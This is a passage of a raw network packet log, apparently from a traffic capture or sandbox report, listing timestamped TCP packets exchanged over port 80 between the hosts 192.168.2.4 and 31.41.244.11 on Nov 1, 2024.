Nov 1, 2024 10:57:10.701956987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701967001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701975107 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701987028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.701997042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702003002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702007055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702022076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702034950 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702045918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702151060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702161074 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702169895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702178955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702188015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702198029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702199936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702208996 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702233076 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702299118 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702310085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702317953 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702327013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702337027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702344894 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702346087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702358961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702368975 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702379942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702388048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702441931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702455997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702465057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702474117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702482939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702491045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702495098 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702497959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702517033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702528000 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702536106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702729940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702739954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702749014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702761889 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702770948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702775955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702781916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702791929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702792883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702799082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702805042 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702815056 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702821016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702825069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.702831030 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702851057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.702858925 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703131914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703146935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703165054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703175068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703185081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703190088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703196049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703207016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703207016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703212976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703226089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703236103 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703237057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703248978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703255892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703255892 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703258038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703269958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703279018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703285933 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703296900 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703305006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703320026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703325033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703329086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703331947 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703332901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703335047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703332901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703350067 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703360081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703366995 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703367949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703385115 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703386068 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703397989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703408003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703408003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703418016 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703419924 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703433037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703442097 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703443050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703454018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703474045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703489065 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703634977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703718901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703732967 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703742981 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703752995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703763962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.703764915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703778982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.703809023 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704483032 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704534054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704547882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704559088 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704571009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704579115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704579115 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704601049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704627991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704638958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704648018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704657078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704667091 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704668045 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704678059 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704687119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704689980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704694033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704716921 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704720974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704722881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704730988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704745054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704756021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704765081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704767942 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704775095 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.704786062 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.704798937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705364943 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705377102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705385923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705415964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705424070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705431938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705435038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705446005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705456018 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705465078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705466032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705472946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705496073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705506086 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705534935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705543995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705553055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705563068 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705574036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705580950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705588102 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705591917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705596924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705615044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705626965 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705682039 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705692053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705704927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705713987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705724001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705724955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705734015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705737114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705745935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705754995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705758095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705764055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705774069 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705775976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705785036 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705789089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705797911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705804110 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705809116 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.705821991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705838919 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.705847025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723179102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723190069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723205090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723215103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723227978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723236084 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723249912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723274946 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723288059 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723305941 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723315954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723324060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723354101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723685026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723695993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723705053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723715067 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723726988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723764896 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723783970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723794937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723804951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723814964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723826885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723839045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723860979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723949909 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723959923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723968983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.723990917 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.723999977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724009991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724024057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724035025 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724069118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724118948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724128962 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724159956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724164963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724170923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724180937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724199057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724222898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.724952936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724962950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.724972010 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725009918 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725024939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725042105 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725053072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725061893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725071907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725081921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725089073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725106001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725125074 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725133896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725142956 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725152016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725177050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725188971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725198030 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725200891 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725214005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725225925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725231886 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725251913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725258112 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725264072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725291967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725312948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725368023 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725378990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725389004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725414038 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725439072 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725446939 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725461006 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725470066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725488901 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725498915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725502968 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725528955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725550890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725555897 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725562096 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725572109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725598097 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725603104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725613117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725621939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725649118 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725668907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725680113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725703001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725713015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725718021 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725723028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725739002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725764036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725769997 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725790024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725800037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725805044 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725830078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725867033 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725877047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725884914 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725894928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.725905895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.725924015 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.727937937 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.727948904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.727958918 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.727969885 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.727998018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728005886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728017092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728015900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728029013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728041887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728051901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728077888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728133917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728173971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728254080 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728265047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728272915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728282928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728296995 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728301048 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728313923 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728322983 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728323936 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728334904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728337049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728338003 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728346109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728355885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728363991 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728367090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728379011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728388071 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728388071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728406906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728468895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728483915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728493929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728494883 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.728504896 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.728512049 CET	49820	80	192.168.2.4	31.41.244.11
